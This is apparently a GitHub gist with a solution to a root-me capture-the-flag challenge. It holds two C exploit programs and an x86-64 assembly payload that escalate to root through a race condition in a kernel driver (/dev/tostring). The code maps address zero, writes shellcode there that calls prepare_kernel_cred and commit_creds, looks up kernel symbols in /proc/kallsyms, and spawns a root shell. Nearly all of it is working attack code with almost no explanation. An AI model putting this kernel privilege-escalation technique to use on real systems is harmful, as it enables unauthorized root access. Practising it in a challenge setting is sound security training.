Skip to content

Instantly share code, notes, and snippets.

@HopHouse
Last active January 2, 2018 15:25
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save HopHouse/d86c1bf0943d3107aec8f2530186203a to your computer and use it in GitHub Desktop.
Save HopHouse/d86c1bf0943d3107aec8f2530186203a to your computer and use it in GitHub Desktop.
CH3 root-me - 64 Bits Race Condition
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <fcntl.h>
void get_shell() {
char *argv[] = {"/bin/sh", NULL};
if (getuid() == 0){
printf("[+] Root shell success !\n");
//execve("/bin/sh", argv, NULL);
system("/bin/sh");
} else {
printf("[-] failed to get root shell\n");
}
}
char payload[] = "\x48\x31\xff\xe8\xf8\xae\x07\x81\x48\x89\xc7\xe8\x60\xab\x07\x81\xc3";
int main () {
printf("[+] Script: Try to allocat 0x00000000...\n");
if (mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){
printf("[-] Script: Failed to allocat 0x00000000\n");
return -1;
}
printf("[+] Script: Allocation success !\n");
printf("[+] Script: Try to put payload at 0x00000000...\n");
if (memcpy (NULL , payload , sizeof ( payload )) == (char *)-1){
printf("[-] Script: Failed to put payload at 0x00000000\n");
return -1;
}
printf("[+] Script: Put payload success !\n");
printf("[+] Script: Opening the first file\n");
int fd1 = open ( "/dev/tostring" , O_RDONLY );
printf("[+] Script: Sleeping for 1 seconds\n");
sleep(1);
printf("[+] Script: Opening the second file\n");
int fd2 = open ( "/dev/tostring" , O_RDONLY );
char tmp[1];
printf("[+] Script: Close the first file\n");
close(fd1);
printf("[+] Script: Trig vuln -> Reading file\n");
read(fd2, tmp, 1);
printf("[+] Script: Try to get shell\n");
get_shell();
printf("[+] Script: Close the second file\n");
close(fd2);
return -1;
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
struct cred;
struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;
void get_shell() {
char *argv[] = {"/bin/sh", NULL};
if (getuid() == 0){
printf("[+] Root shell success !! :)\n");
execve("/bin/sh", argv, NULL);
//or system("/bin/sh")
}
printf("[-] failed to get root shell :(\n");
}
void get_root() {
if (commit_creds && prepare_kernel_cred)
commit_creds(prepare_kernel_cred(0));
}
// gcc script.c -static -o script && chmod 777 ./script
// https://blog.w3challs.com/?post/2014/01/19/D%C3%A9r%C3%A9f%C3%A9rencement-de-pointeur-NULL-Exploitation-du-kernel-pour-les-nuls
/*
48 31 ff
e8 f8 ae 07 81
48 89 c7
e8 60 ab 07 81
c3
*/
char payload[] = "\x48\x31\xff\xe8\xf8\xae\x07\x81\x48\x89\xc7\xe8\x60\xab\x07\x81\xc3";
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
printf("[-] Failed to open /proc/kallsyms\n");
exit(-1);
}
printf("[+] Find %s...\n", name);
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
printf("[+] Found %s at %lx\n", name, addr);
return addr;
}
}
fclose(f);
return 0;
}
int main () {
printf("[+] Script: Try to allocat 0x00000000...\n");
if (mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (ch
ar *)-1){
printf("[-] Script: Failed to allocat 0x00000000\n");
return -1;
}
printf("[+] Script: Allocation success !\n");
printf("[+] Script: Try to put payload at 0x00000000...\n");
if (memcpy (NULL , payload , sizeof ( payload )) == (char *)-1){
printf("[-] Script: Failed to put payload at 0x00000000\n");
return -1;
}
printf("[+] Script: Put payload success !\n");
/*
prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");
commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");
printf("[+] Set pointer to get root cred\n");
*(unsigned long *)0x0000000000000000 = (unsigned long)get_root;
*/
printf("[+] Script: Opening the first file\n");
int fd1 = open ( "/dev/tostring" , O_RDONLY );
printf("[+] Script: Sleeping for 1 seconds\n");
sleep(1);
printf("[+] Script: Opening the second file\n");
int fd2 = open ( "/dev/tostring" , O_RDONLY );
char tmp[1];
printf("[+] Script: Close the first file\n");
close(fd1);
printf("[+] Script: Trig vuln -> Reading file\n");
read(fd2, tmp, 1);
printf("[+] Script: Try to get shell\n");
get_shell();
printf("[+] Script: Close the second file\n");
close(fd2);
return -1;
}
/*
gcc payload.S -nostdlib -Ttext=0 -o payload
Assembleur:
ffffffff8107ab70 T commit_creds
ffffffff8107af00 T prepare_kernel_cred
*/
.globl _start
_start:
xor %rdi, %rdi # Put 0 in rdi
call 0xffffffff8107af00 # Call prepare kernel cred
mov %rax, %rdi # Put previous result to arg for next instruction
call 0xffffffff8107ab70 # Call commit cred
ret
/*
payload: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <_start>:
0: 48 31 ff xor %rdi,%rdi
3: e8 f8 ae 07 81 callq ffffffff8107af00 <_end+0xffffffff80e7aee8>
8: 48 89 c7 mov %rax,%rdi
b: e8 60 ab 07 81 callq ffffffff8107ab70 <_end+0xffffffff80e7ab58>
10: c3 retq
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment